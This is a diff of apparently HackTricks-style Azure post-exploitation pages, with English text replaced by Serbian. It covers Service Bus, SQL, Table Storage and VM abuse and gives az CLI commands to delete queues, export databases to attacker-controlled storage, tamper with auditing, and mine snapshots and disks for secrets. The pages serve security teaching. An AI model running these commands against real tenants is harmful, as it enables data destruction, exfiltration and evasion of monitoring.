### Actions: `Microsoft.ServiceBus/namespaces/queues/Delete`
|
||||
|
||||
An attacker with this permission can delete an Azure Service Bus queue. This action removes the queue and all the messages within it, potentially causing loss of critical data and disrupting systems and workflows dependent on the queue.
|
||||
|
||||
Napadač sa ovom dozvolom može da obriše Azure Service Bus red. Ova akcija uklanja red i sve poruke unutar njega, što može dovesti do gubitka kritičnih podataka i ometanja sistema i radnih tokova koji zavise od reda.
|
||||
```bash
|
||||
az servicebus queue delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete`
|
||||
|
||||
An attacker with this permission can delete an Azure Service Bus subscription. This action removes the subscription and all its associated messages, potentially disrupting workflows, data processing, and system operations relying on the subscription.
|
||||
|
||||
Napadač sa ovom dozvolom može da obriše Azure Service Bus pretplatu. Ova akcija uklanja pretplatu i sve njene povezane poruke, potencijalno ometajući radne tokove, obradu podataka i operacije sistema koje se oslanjaju na pretplatu.
|
||||
```bash
|
||||
az servicebus topic subscription delete --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read`
|
||||
|
||||
An attacker with permissions to create or modify Azure Service Bus namespaces can exploit this to disrupt operations, deploy unauthorized resources, or expose sensitive data. They can alter critical configurations such as enabling public network access, downgrading encryption settings, or changing SKUs to degrade performance or increase costs. Additionally, they could disable local authentication, manipulate replica locations, or adjust TLS versions to weaken security controls, making namespace misconfiguration a significant post-exploitation risk.
|
||||
|
||||
Napadač sa dozvolama za kreiranje ili modifikovanje Azure Service Bus imenskih prostora može to iskoristiti da ometa operacije, implementira neovlašćene resurse ili izloži osetljive podatke. Mogu promeniti kritične konfiguracije kao što su omogućavanje pristupa javnoj mreži, smanjenje podešavanja enkripcije ili promenu SKU-ova kako bi pogoršali performanse ili povećali troškove. Pored toga, mogli bi onemogućiti lokalnu autentifikaciju, manipulisati lokacijama replika ili prilagoditi TLS verzije kako bi oslabili bezbednosne kontrole, čineći pogrešnu konfiguraciju imenskog prostora značajnim rizikom nakon eksploatacije.
|
||||
```bash
|
||||
az servicebus namespace create --resource-group <ResourceGroupName> --name <NamespaceName> --location <Location>
|
||||
az servicebus namespace update --resource-group <ResourceGroupName> --name <NamespaceName> --tags <Key=Value>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/queues/write` (`Microsoft.ServiceBus/namespaces/queues/read`)
|
||||
|
||||
An attacker with permissions to create or modify Azure Service Bus queues (to modiffy the queue you will also need the Action:`Microsoft.ServiceBus/namespaces/queues/read`) can exploit this to intercept data, disrupt workflows, or enable unauthorized access. They can alter critical configurations such as forwarding messages to malicious endpoints, adjusting message TTL to retain or delete data improperly, or enabling dead-lettering to interfere with error handling. Additionally, they could manipulate queue sizes, lock durations, or statuses to disrupt service functionality or evade detection, making this a significant post-exploitation risk.
|
||||
|
||||
Napadač sa dozvolama za kreiranje ili modifikovanje Azure Service Bus redova (da bi modifikovao red, takođe će mu biti potrebna akcija: `Microsoft.ServiceBus/namespaces/queues/read`) može iskoristiti ovo da presretne podatke, ometa radne tokove ili omogući neovlašćen pristup. Mogu promeniti kritične konfiguracije kao što su prosleđivanje poruka na zlonamerne krajnje tačke, podešavanje TTL poruka za nepropisno zadržavanje ili brisanje podataka, ili omogućavanje dead-lettering-a kako bi ometali obradu grešaka. Pored toga, mogli bi manipulisati veličinama redova, trajanjem zaključavanja ili statusima kako bi ometali funkcionalnost usluge ili izbegli otkrivanje, što ovo čini značajnim rizikom nakon eksploatacije.
|
||||
```bash
|
||||
az servicebus queue create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
|
||||
az servicebus queue update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <QueueName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`)
|
||||
|
||||
An attacker with permissions to create or modify topics (to modiffy the topic you will also need the Action:`Microsoft.ServiceBus/namespaces/topics/read`) within an Azure Service Bus namespace can exploit this to disrupt message workflows, expose sensitive data, or enable unauthorized actions. Using commands like az servicebus topic update, they can manipulate configurations such as enabling partitioning for scalability misuse, altering TTL settings to retain or discard messages improperly, or disabling duplicate detection to bypass controls. Additionally, they could adjust topic size limits, change status to disrupt availability, or configure express topics to temporarily store intercepted messages, making topic management a critical focus for post-exploitation mitigation.
|
||||
|
||||
Napadač sa dozvolama za kreiranje ili modifikovanje tema (da biste modifikovali temu, takođe će vam biti potrebna Akcija: `Microsoft.ServiceBus/namespaces/topics/read`) unutar Azure Service Bus imenskog prostora može to iskoristiti da ometa tokove poruka, izloži osetljive podatke ili omogući neovlašćene radnje. Koristeći komande kao što je az servicebus topic update, mogu manipulisati konfiguracijama kao što su omogućavanje particionisanja za zloupotrebu skalabilnosti, menjanje TTL podešavanja da bi se nepravilno zadržale ili odbacile poruke, ili onemogućavanje detekcije duplikata da bi se zaobišli kontrole. Pored toga, mogli bi prilagoditi limite veličine tema, promeniti status da bi ometali dostupnost, ili konfigurisati ekspresne teme za privremeno skladištenje presretnutih poruka, čineći upravljanje temama kritičnim fokusom za ublažavanje post-ekspolatacije.
|
||||
```bash
|
||||
az servicebus topic create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
|
||||
az servicebus topic update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --name <TopicName>
|
||||
```
|
||||
|
||||
### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`)
|
||||
|
||||
An attacker with permissions to create or modify subscriptions (to modiffy the subscription you will also need the Action: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) within an Azure Service Bus topic can exploit this to intercept, reroute, or disrupt message workflows. Using commands like az servicebus topic subscription update, they can manipulate configurations such as enabling dead lettering to divert messages, forwarding messages to unauthorized endpoints, or modifying TTL and lock duration to retain or interfere with message delivery. Additionally, they can alter status or max delivery count settings to disrupt operations or evade detection, making subscription control a critical aspect of post-exploitation scenarios.
|
||||
|
||||
Napadač sa dozvolama za kreiranje ili modifikovanje pretplata (da bi modifikovao pretplatu, takođe će mu biti potrebna Akcija: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) unutar Azure Service Bus teme može iskoristiti ovo da presretne, preusmeri ili ometa tokove poruka. Koristeći komande kao što je az servicebus topic subscription update, mogu manipulisati konfiguracijama kao što je omogućavanje dead lettering-a za preusmeravanje poruka, prosleđivanje poruka neovlašćenim krajnjim tačkama, ili modifikovanje TTL i trajanja zaključavanja kako bi zadržali ili ometali isporuku poruka. Pored toga, mogu promeniti podešavanja statusa ili maksimalnog broja isporuka kako bi ometali operacije ili izbegli otkrivanje, čineći kontrolu pretplata kritičnim aspektom post-ekspolatacionih scenarija.
|
||||
```bash
|
||||
az servicebus topic subscription create --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
|
||||
az servicebus topic subscription update --resource-group <ResourceGroupName> --namespace-name <NamespaceName> --topic-name <TopicName> --name <SubscriptionName>
|
||||
```
|
||||
### Radnje: `AuthorizationRules` Slanje i Primanje Poruka
|
||||
|
||||
### Actions: `AuthorizationRules` Send & Recive Messages
|
||||
|
||||
Take a look here:
|
||||
Pogledajte ovde:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-queue-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
|
||||
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
|
||||
@@ -97,7 +81,3 @@ Take a look here:
|
||||
- https://learn.microsoft.com/en-us/cli/azure/servicebus/queue?view=azure-cli-latest
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## SQL Database Post Exploitation
|
||||
|
||||
For more information about SQL Database check:
|
||||
Za više informacija o SQL bazi podataka pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-sql.md
|
||||
@@ -12,8 +12,7 @@ For more information about SQL Database check:
|
||||
|
||||
### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write"
|
||||
|
||||
With these permissions, an attacker can create and update databases within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions.
|
||||
|
||||
Sa ovim dozvolama, napadač može da kreira i ažurira baze podataka unutar kompromitovanog okruženja. Ova post-ekspolatacijska aktivnost može omogućiti napadaču da doda zlonamerne podatke, izmeni konfiguracije baze podataka ili umetne zadnje ulaze za dalju postojanost, potencijalno ometajući operacije ili omogućavajući dodatne zlonamerne radnje.
|
||||
```bash
|
||||
# Create Database
|
||||
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
|
||||
@@ -21,73 +20,63 @@ az sql db create --resource-group <resource-group> --server <server-name> --name
|
||||
# Update Database
|
||||
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read"
|
||||
|
||||
With these permissions, an attacker can create and update elasticPools within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions.
|
||||
|
||||
Sa ovim dozvolama, napadač može da kreira i ažurira elasticPools unutar kompromitovanog okruženja. Ova post-ekspolatacijska aktivnost može omogućiti napadaču da doda zlonamerne podatke, izmeni konfiguracije baze podataka ili umetne zadnje ulaze za dalju postojanost, potencijalno ometajući operacije ili omogućavajući dodatne zlonamerne radnje.
|
||||
```bash
|
||||
# Create Elastic Pool
|
||||
az sql elastic-pool create \
|
||||
--name <new-elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--edition <edition> \
|
||||
--dtu <dtu-value>
|
||||
--name <new-elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--edition <edition> \
|
||||
--dtu <dtu-value>
|
||||
|
||||
# Update Elastic Pool
|
||||
az sql elastic-pool update \
|
||||
--name <elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--dtu <new-dtu-value> \
|
||||
--tags <key=value>
|
||||
--name <elastic-pool-name> \
|
||||
--server <server-name> \
|
||||
--resource-group <resource-group> \
|
||||
--dtu <new-dtu-value> \
|
||||
--tags <key=value>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write"
|
||||
|
||||
With this permission, you can modify or enable auditing settings on an Azure SQL Server. This could allow an attacker or authorized user to manipulate audit configurations, potentially covering tracks or redirecting audit logs to a location under their control. This can hinder security monitoring or enable it to keep track of the actions. NOTE: To enable auditing for an Azure SQL Server using Blob Storage, you must attach a storage account where the audit logs can be saved.
|
||||
|
||||
Sa ovom dozvolom, možete modifikovati ili omogućiti podešavanja revizije na Azure SQL Serveru. Ovo bi moglo omogućiti napadaču ili ovlašćenom korisniku da manipuliše konfiguracijama revizije, potencijalno prikrivajući tragove ili preusmeravajući revizione dnevnike na lokaciju pod njihovom kontrolom. Ovo može ometati bezbednosno praćenje ili omogućiti da se prati akcije. NAPOMENA: Da biste omogućili reviziju za Azure SQL Server koristeći Blob Storage, morate povezati nalog za skladištenje gde se revizioni dnevnici mogu sačuvati.
|
||||
```bash
|
||||
az sql server audit-policy update \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state Enabled \
|
||||
--storage-account <storage_account_name> \
|
||||
--retention-days 7
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state Enabled \
|
||||
--storage-account <storage_account_name> \
|
||||
--retention-days 7
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
|
||||
|
||||
With this permission, you can modify the connection policies of an Azure SQL Server. This capability can be exploited to enable or change server-level connection settings
|
||||
|
||||
Sa ovom dozvolom, možete modifikovati politike povezivanja Azure SQL Server-a. Ova sposobnost se može iskoristiti za omogućavanje ili promenu podešavanja povezivanja na nivou servera.
|
||||
```bash
|
||||
az sql server connection-policy update \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--connection-type <Proxy|Redirect|Default>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--connection-type <Proxy|Redirect|Default>
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/databases/export/action"
|
||||
|
||||
With this permission, you can export a database from an Azure SQL Server to a storage account. An attacker or authorized user with this permission can exfiltrate sensitive data from the database by exporting it to a location they control, posing a significant data breach risk. It is important to know the storage key to be able to perform this.
|
||||
|
||||
Sa ovom dozvolom, možete eksportovati bazu podataka sa Azure SQL Server-a u nalog za skladištenje. Napadač ili ovlašćeni korisnik sa ovom dozvolom može eksfiltrirati osetljive podatke iz baze podataka izvođenjem na lokaciju koju kontroliše, što predstavlja značajan rizik od curenja podataka. Važno je znati ključ za skladištenje kako biste mogli to da uradite.
|
||||
```bash
|
||||
az sql db export \
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name> \
|
||||
--storage-uri <storage_blob_uri> \
|
||||
--storage-key-type SharedAccessKey \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
--server <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name> \
|
||||
--storage-uri <storage_blob_uri> \
|
||||
--storage-key-type SharedAccessKey \
|
||||
--admin-user <admin_username> \
|
||||
--admin-password <admin_password>
|
||||
|
||||
```
|
||||
|
||||
### "Microsoft.Sql/servers/databases/import/action"
|
||||
|
||||
With this permission, you can import a database into an Azure SQL Server. An attacker or authorized user with this permission can potentially upload malicious or manipulated databases. This can lead to gaining control over sensitive data or by embedding harmful scripts or triggers within the imported database. Additionaly you can import it to your own server in azure. Note: The server must allow Azure services and resources to access the server.
|
||||
|
||||
Sa ovom dozvolom, možete uvesti bazu podataka u Azure SQL Server. Napadač ili ovlašćeni korisnik sa ovom dozvolom može potencijalno da otpremi zlonamerne ili manipulirane baze podataka. To može dovesti do preuzimanja kontrole nad osetljivim podacima ili umetanja štetnih skripti ili okidača unutar uvezene baze podataka. Dodatno, možete je uvesti na svoj server u Azure-u. Napomena: Server mora dozvoliti Azure uslugama i resursima pristup serveru.
|
||||
```bash
|
||||
az sql db import --admin-user <admin-user> \
|
||||
--admin-password <admin-password> \
|
||||
@@ -98,9 +87,4 @@ az sql db import --admin-user <admin-user> \
|
||||
--storage-key <storage-account-key> \
|
||||
--storage-uri "https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Table Storage Post Exploitation
|
||||
|
||||
For more information about table storage check:
|
||||
Za više informacija o table storage, pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-table-storage.md
|
||||
@@ -12,57 +12,49 @@ For more information about table storage check:
|
||||
|
||||
### Microsoft.Storage/storageAccounts/tableServices/tables/entities/read
|
||||
|
||||
A principal with this permission will be able to **list** the tables inside a table storage and **read the info** which might contain **sensitive information**.
|
||||
|
||||
Princip sa ovom dozvolom će moći da **prikazuje** tabele unutar table storage i **čita informacije** koje mogu sadržati **osetljive informacije**.
|
||||
```bash
|
||||
# List tables
|
||||
az storage table list --auth-mode login --account-name <name>
|
||||
|
||||
# Read table (top 10)
|
||||
az storage entity query \
|
||||
--account-name <name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--top 10
|
||||
--account-name <name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--top 10
|
||||
```
|
||||
|
||||
### Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action
|
||||
|
||||
A principal with this permission will be able to **write and overwrite entries in tables** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some trusted data that could abuse some injection vulnerability in the app using it).
|
||||
|
||||
- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` allows all the actions.
|
||||
- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` allows to **add** entries
|
||||
- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` allows to **update** existing entries
|
||||
Princip sa ovom dozvolom će moći da **piše i prepisuje unose u tabelama** što bi moglo da mu omogući da izazove neku štetu ili čak eskalira privilegije (npr. prepisivanje nekih pouzdanih podataka koji bi mogli da iskoriste neku ranjivost u aplikaciji koja ih koristi).
|
||||
|
||||
- Dozvola `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` omogućava sve akcije.
|
||||
- Dozvola `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` omogućava da **dodate** unose.
|
||||
- Dozvola `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` omogućava da **ažurirate** postojeće unose.
|
||||
```bash
|
||||
# Add
|
||||
az storage entity insert \
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
|
||||
# Replace
|
||||
az storage entity replace \
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
|
||||
# Update
|
||||
az storage entity merge \
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
--account-name <acc-name> \
|
||||
--table-name <t-name> \
|
||||
--auth-mode login \
|
||||
--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
|
||||
```
|
||||
|
||||
### \*/delete
|
||||
|
||||
This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**.
|
||||
Ovo bi omogućilo brisanje datoteka unutar deljenog fajl sistema što bi moglo **prekinuti neke usluge** ili učiniti da klijent **izgubi dragocene informacije**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## VMs & Network
|
||||
|
||||
For more info about Azure VMs and networking check the following page:
|
||||
Za više informacija o Azure VMs i umrežavanju, proverite sledeću stranicu:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/vms/
|
||||
@@ -12,86 +12,73 @@ For more info about Azure VMs and networking check the following page:
|
||||
|
||||
### VM Application Pivoting
|
||||
|
||||
VM applications can be shared with other subscriptions and tenants. If an application is being shared it's probably because it's being used. So if the attacker manages to **compromise the application and uploads a backdoored** version it might be possible that it will be **executed in another tenant or subscription**.
|
||||
VM aplikacije mogu biti deljene sa drugim pretplatama i zakupcima. Ako se aplikacija deli, verovatno je zato što se koristi. Dakle, ako napadač uspe da **kompromituje aplikaciju i otpremi verziju sa backdoor-om**, može biti moguće da će biti **izvršena u drugom zakupcu ili pretplati**.
|
||||
|
||||
### Sensitive information in images
|
||||
|
||||
It might be possible to find **sensitive information inside images** taken from VMs in the past.
|
||||
Može biti moguće pronaći **osetljive informacije unutar slika** uzetih sa VMs u prošlosti.
|
||||
|
||||
1. **List images** from galleries
|
||||
|
||||
```bash
|
||||
# Get galleries
|
||||
az sig list -o table
|
||||
|
||||
# List images inside gallery
|
||||
az sig image-definition list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
-o table
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
-o table
|
||||
|
||||
# Get images versions
|
||||
az sig image-version list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
--gallery-image-definition <IMAGE_DEFINITION> \
|
||||
-o table
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--gallery-name <GALLERY_NAME> \
|
||||
--gallery-image-definition <IMAGE_DEFINITION> \
|
||||
-o table
|
||||
```
|
||||
|
||||
2. **List custom images**
|
||||
|
||||
2. **Lista prilagođenih slika**
|
||||
```bash
|
||||
az image list -o table
|
||||
```
|
||||
|
||||
3. **Create VM from image ID** and search for sensitive info inside of it
|
||||
|
||||
3. **Kreirajte VM iz ID slike** i pretražujte osetljive informacije unutar nje
|
||||
```bash
|
||||
# Create VM from image
|
||||
az vm create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <VM_NAME> \
|
||||
--image /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/galleries/<GALLERY_NAME>/images/<IMAGE_DEFINITION>/versions/<IMAGE_VERSION> \
|
||||
--admin-username <ADMIN_USERNAME> \
|
||||
--generate-ssh-keys
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <VM_NAME> \
|
||||
--image /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/galleries/<GALLERY_NAME>/images/<IMAGE_DEFINITION>/versions/<IMAGE_VERSION> \
|
||||
--admin-username <ADMIN_USERNAME> \
|
||||
--generate-ssh-keys
|
||||
```
|
||||
### Osetljive informacije u tačkama vraćanja
|
||||
|
||||
### Sensitive information in restore points
|
||||
|
||||
It might be possible to find **sensitive information inside restore points**.
|
||||
|
||||
1. **List restore points**
|
||||
Može biti moguće pronaći **osetljive informacije unutar tačaka vraćanja**.
|
||||
|
||||
1. **Lista tačaka vraćanja**
|
||||
```bash
|
||||
az restore-point list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--restore-point-collection-name <COLLECTION_NAME> \
|
||||
-o table
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--restore-point-collection-name <COLLECTION_NAME> \
|
||||
-o table
|
||||
```
|
||||
|
||||
2. **Create a disk** from a restore point
|
||||
|
||||
2. **Kreirajte disk** iz tačke vraćanja
|
||||
```bash
|
||||
az disk create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <NEW_DISK_NAME> \
|
||||
--source /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/restorePointCollections/<COLLECTION_NAME>/restorePoints/<RESTORE_POINT_NAME>
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <NEW_DISK_NAME> \
|
||||
--source /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/restorePointCollections/<COLLECTION_NAME>/restorePoints/<RESTORE_POINT_NAME>
|
||||
```
|
||||
|
||||
3. **Attach the disk to a VM** (the attacker needs to have compromised a VM inside the account already)
|
||||
|
||||
3. **Priključite disk na VM** (napadač već treba da je kompromitovao VM unutar naloga)
|
||||
```bash
|
||||
az vm disk attach \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--vm-name <VM_NAME> \
|
||||
--name <DISK_NAME>
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--vm-name <VM_NAME> \
|
||||
--name <DISK_NAME>
|
||||
```
|
||||
|
||||
4. **Mount** the disk and **search for sensitive info**
|
||||
4. **Prikačite** disk i **pretražite osetljive informacije**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# List all available disks
|
||||
sudo fdisk -l
|
||||
@@ -103,83 +90,70 @@ sudo file -s /dev/sdX
|
||||
sudo mkdir /mnt/mydisk
|
||||
sudo mount /dev/sdX1 /mnt/mydisk
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
#### **1. Open Disk Management**
|
||||
#### **1. Otvorite Upravljanje diskom**
|
||||
|
||||
1. Right-click **Start** and select **Disk Management**.
|
||||
2. The attached disk should appear as **Offline** or **Unallocated**.
|
||||
1. Desni klik na **Start** i izaberite **Upravljanje diskom**.
|
||||
2. Priključeni disk bi trebao da se pojavi kao **Offline** ili **Nealokiran**.
|
||||
|
||||
#### **2. Bring the Disk Online**
|
||||
#### **2. Aktivirajte disk**
|
||||
|
||||
1. Locate the disk in the bottom pane.
|
||||
2. Right-click the disk (e.g., **Disk 1**) and select **Online**.
|
||||
1. Pronađite disk u donjem panelu.
|
||||
2. Desni klik na disk (npr., **Disk 1**) i izaberite **Online**.
|
||||
|
||||
#### **3. Initialize the Disk**
|
||||
#### **3. Inicijalizujte disk**
|
||||
|
||||
1. If the disk is not initialized, right-click and select **Initialize Disk**.
|
||||
2. Choose the partition style:
|
||||
- **MBR** (Master Boot Record) or **GPT** (GUID Partition Table). GPT is recommended for modern systems.
|
||||
1. Ako disk nije inicijalizovan, desni klik i izaberite **Inicijalizuj disk**.
|
||||
2. Izaberite stil particije:
|
||||
- **MBR** (Master Boot Record) ili **GPT** (GUID Partition Table). GPT se preporučuje za moderne sisteme.
|
||||
|
||||
#### **4. Create a New Volume**
|
||||
#### **4. Kreirajte novi volumen**
|
||||
|
||||
1. Right-click the unallocated space on the disk and select **New Simple Volume**.
|
||||
2. Follow the wizard to:
|
||||
- Assign a drive letter (e.g., `D:`).
|
||||
- Format the disk (choose NTFS for most cases).
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
1. Desni klik na nealokirani prostor na disku i izaberite **Novi jednostavni volumen**.
|
||||
2. Pratite čarobnjaka da:
|
||||
- Dodelite slovo diska (npr., `D:`).
|
||||
- Formatirate disk (izaberite NTFS u većini slučajeva).
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Sensitive information in disks & snapshots
|
||||
### Osetljive informacije na diskovima i snimcima
|
||||
|
||||
It might be possible to find **sensitive information inside disks or even old disk's snapshots**.
|
||||
|
||||
1. **List snapshots**
|
||||
Može biti moguće pronaći **osetljive informacije unutar diskova ili čak starih snimaka diskova**.
|
||||
|
||||
1. **Lista snimaka**
|
||||
```bash
|
||||
az snapshot list \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
-o table
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
-o table
|
||||
```
|
||||
|
||||
2. **Create disk from snapshot** (if needed)
|
||||
|
||||
2. **Kreirajte disk iz snimka** (ako je potrebno)
|
||||
```bash
|
||||
az disk create \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <DISK_NAME> \
|
||||
--source <SNAPSHOT_ID> \
|
||||
--size-gb <DISK_SIZE>
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--name <DISK_NAME> \
|
||||
--source <SNAPSHOT_ID> \
|
||||
--size-gb <DISK_SIZE>
|
||||
```
|
||||
3. **Priključite i montirajte disk** na VM i pretražite osetljive informacije (proverite prethodni odeljak da vidite kako to uraditi)
|
||||
|
||||
3. **Attach and mount the disk** to a VM and search for sensitive information (check the previous section to see how to do this)
|
||||
### Osetljive informacije u VM ekstenzijama i VM aplikacijama
|
||||
|
||||
### Sensitive information in VM Extensions & VM Applications
|
||||
|
||||
It might be possible to find **sensitive information inside VM extensions and VM applications**.
|
||||
|
||||
1. **List all VM apps**
|
||||
Možda će biti moguće pronaći **osetljive informacije unutar VM ekstenzija i VM aplikacija**.
|
||||
|
||||
1. **Nabrojte sve VM aplikacije**
|
||||
```bash
|
||||
## List all VM applications inside a gallery
|
||||
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
|
||||
```
|
||||
|
||||
2. Install the extension in a VM and **search for sensitive info**
|
||||
|
||||
2. Instalirajte ekstenziju u VM i **pretražujte osetljive informacije**
|
||||
```bash
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
